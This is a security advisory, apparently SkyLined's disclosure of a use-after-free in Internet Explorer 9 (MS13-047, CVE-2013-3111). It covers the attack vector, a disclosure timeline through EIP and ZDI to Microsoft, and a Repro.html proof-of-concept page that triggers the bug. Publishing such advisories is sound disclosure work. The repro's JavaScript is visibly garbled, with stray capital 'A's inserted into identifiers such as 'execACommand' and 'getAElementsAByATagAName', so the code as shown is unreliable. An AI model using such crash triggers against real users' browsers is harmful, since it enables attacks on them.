Microsoft Internet Explorer 9 IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-Af
Posted on 13 December 2016
Since November I have been releasing details on all vulnerabilities I found that I have not released before. This is the thirtieth entry in the series. This information is available in more detail on my blog at http://blog.skylined.nl/20161212001.html. There you can find a repro that triggered this issue in addition to the information below. If you find these releases useful, and would like to help me make time to continue releasing this kind of information, you can make a donation in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX. Follow me on http://twitter.com/berendjanwever for daily browser bugs. MSIE 9 IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation use-after-free ======================================================================= (MS13-047, CVE-2013-3111) Synopsis -------- A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability. Known affected software and attack vectors ------------------------------------------ * Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path. Details ------- This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. Time-line --------- * 27 September 2012: This vulnerability was found through fuzzing. * 3 December 2012: This vulnerability was submitted to EIP. * 10 December 2012: This vulnerability was rejected by EIP. * 12 December 2012: This vulnerability was submitted to ZDI. * 25 January 2013: This vulnerability was acquired by ZDI. * 15 February 2013: This vulnerability was disclosed to Microsoft by ZDI. * 27 June 2013: This vulnerability was address by Microsoft in MS13-047. * 8 December 2016: Details of this vulnerability are released. Cheers, SkyLined Repro.html <!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=EmulateAIE7" > <script> function go() { document.execACommand('SelectAAll'); document.execACommand('superscript'); setATimeout(function() { oASupAElement=document.getAElementsAByATagAName('sup')[0]; oASupAElement.swapANode(document.documentAElement); }, 0); } </script> </head> <body onload="go()"> <address></address> <fieldset></fieldset> </body> </html>
